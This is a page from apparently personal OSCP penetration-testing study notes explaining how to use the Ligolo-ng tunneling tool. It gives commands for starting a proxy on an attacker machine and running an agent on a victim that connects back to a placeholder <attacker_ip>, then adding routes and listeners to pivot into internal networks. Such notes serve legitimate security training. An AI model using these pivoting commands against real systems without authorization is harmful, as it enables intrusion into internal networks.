🐲
OSCP Notes
  • 🐲OSCP Notes
  • 🐲OSCP Methodology
  • 💡Misc
    • Metasploit
    • Antivirus Evasion
    • Password attacks
    • Reverse Shells
    • Port Forwarding, Tunneling and Pivoting
      • Local Port Forwarding
      • Remote Port Forwarding
      • Dynamic Port Forwarding
      • Lingolo-ng
    • Information Gathering
      • Passive Reconnaissance
        • Whois
        • Google Dorks
        • NetCraft
        • Git Repository
      • Active Reconnaissance
        • DNS Enumeration
        • Host Discovery
        • Port scanning
        • SMTP - 25
        • SNMP
  • Linux
    • Local Enumeration
    • Local Privileges Escalation
      • Scheduled tasks
      • Password Authentication
      • Monitor Processes
      • SetUID Binaries and Capabilities
      • Sudoers
      • Kernel Exploits
  • Windows
    • 🧠Mindmap
    • 🥝Mimikatz Basics
    • Enumeration
      • External Enumeration
      • Local Enumeration
      • Active Directory
        • PowerView
    • NTLM Hashes
    • Local Privilege Escalation
      • Service Binary Hijacking
      • Service DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Token impersonation
      • Backup Operators Group
    • Lateral Movement
      • WMI and WinRM
      • PsExec
      • Pass The Hash
      • Overpass The Hash
      • Pass The Ticket
      • DCOM
    • Persistence
      • Golden Ticket
      • Shadow Copy
    • Authentication Attacks
      • AS-REP Roasting
      • Kerberoasting
      • Password Spray
      • Silver Ticket
      • DC Sync
    • Client Side
    • NTLM Authentication
    • Kerberos Authentication
    • Cached Credentials
  • Web attacks
    • WordPress
    • SQL Injection (SQLi)
    • Command Injection
    • Directory Traversal
    • Local File Inclusion (LFI)
    • File Upload
Powered by GitBook
On this page
  • Basic Configuration
  • Create a connection
  • Network Configuration
  • Start the network interface
  • Add a new routing
  • Port Forward Listeners
  • Delete interface
  1. Misc
  2. Port Forwarding, Tunneling and Pivoting

Lingolo-ng

Basic Configuration

Create a connection

Proxy machine

Start the Lingolo proxy with a self-signed certificate on attacker machine with root privileges.

sudo proxy --selfcert

Agent machine

Run the agent on the victim machine to connect to the Lingolo proxy.

./agent.exe --connect <attacker_ip>:<proxy_port> --ignore-cert

Network Configuration

After the agent successfully connects, select the session.

session

Start the network interface

Create a network interface on the proxy's machine.

tunnel_start --tun ligolo

Add a new routing

List available interfaces on the agent.

ifconfig

Add a route to the internal interface.

add_route --name ligolo --route <internal_interface>

Port Forward Listeners

Add a Listener.

listener_add --addr <agent_ip>:<port> --to <proxy_ip>:<port>

List Active Listeners.

listener_list

Stop a Listener.

listener_stop <ID>

Delete interface

list interfaces

interface_list

Delete interface

ifdel --name ligolo
PreviousDynamic Port ForwardingNextInformation Gathering

Last updated 6 months ago

💡